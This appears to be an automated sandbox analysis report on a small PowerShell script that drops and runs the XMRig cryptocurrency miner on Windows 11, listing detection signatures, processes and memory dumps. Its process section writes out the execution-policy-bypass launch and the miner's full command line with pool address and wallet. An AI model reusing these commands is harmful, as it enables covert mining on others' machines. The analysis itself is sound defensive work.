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27/05/2024, 18:28
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240527-w4cs6aed4710Analysis
- max time kernel
1798s - max time network
1774s - platform
windows11-21h2_x64 - resource
win11-20240426-en - resource tags
- submitted
27/05/2024, 18:28
General
- Target file01 - copia (3).ps1
- Size 510B
- Sample240527-w4babsdc4z
- SHA256 d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (3).ps1"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_1gy30ekq.c45.ps1
xmrig.exe
memory/492-77-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-67-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-48-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-117-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-116-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-115-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-51-0x0000029B782B0000-0x0000029B782D0000-memory.dmp
memory/492-50-0x0000029B78290000-0x0000029B782B0000-memory.dmp
memory/492-114-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-113-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-112-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-111-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-110-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-109-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-52-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-108-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-55-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-56-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-57-0x0000029B78290000-0x0000029B782B0000-memory.dmp
memory/492-58-0x0000029B782B0000-0x0000029B782D0000-memory.dmp
memory/492-59-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-60-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-61-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-62-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-63-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-64-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-65-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-66-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-78-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-68-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-69-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-70-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-71-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-72-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-73-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-74-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-75-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-76-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-47-0x0000029B769B0000-0x0000029B769D0000-memory.dmp
memory/492-46-0x0000029B76960000-0x0000029B76980000-memory.dmp
memory/492-102-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-80-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-81-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-82-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-83-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-84-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-85-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-86-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-87-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-88-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-89-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-90-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-91-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-92-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-93-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-94-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-95-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-96-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-97-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-98-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-99-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-100-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-101-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-79-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-103-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-104-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-105-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-106-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/492-107-0x00007FF73B180000-0x00007FF73BDB3000-memory.dmp
memory/1336-54-0x00007FFD77040000-0x00007FFD77B02000-memory.dmp
memory/1336-53-0x00007FFD77043000-0x00007FFD77045000-memory.dmp
memory/1336-49-0x00007FFD77040000-0x00007FFD77B02000-memory.dmp
memory/1336-15-0x000002B7C9D60000-0x000002B7C9D6A000-memory.dmp
memory/1336-14-0x000002B7CA080000-0x000002B7CA092000-memory.dmp
memory/1336-12-0x00007FFD77040000-0x00007FFD77B02000-memory.dmp
memory/1336-11-0x00007FFD77040000-0x00007FFD77B02000-memory.dmp
memory/1336-10-0x00007FFD77040000-0x00007FFD77B02000-memory.dmp
memory/1336-9-0x000002B7C9B80000-0x000002B7C9BA2000-memory.dmp
memory/1336-0-0x00007FFD77043000-0x00007FFD77045000-memory.dmp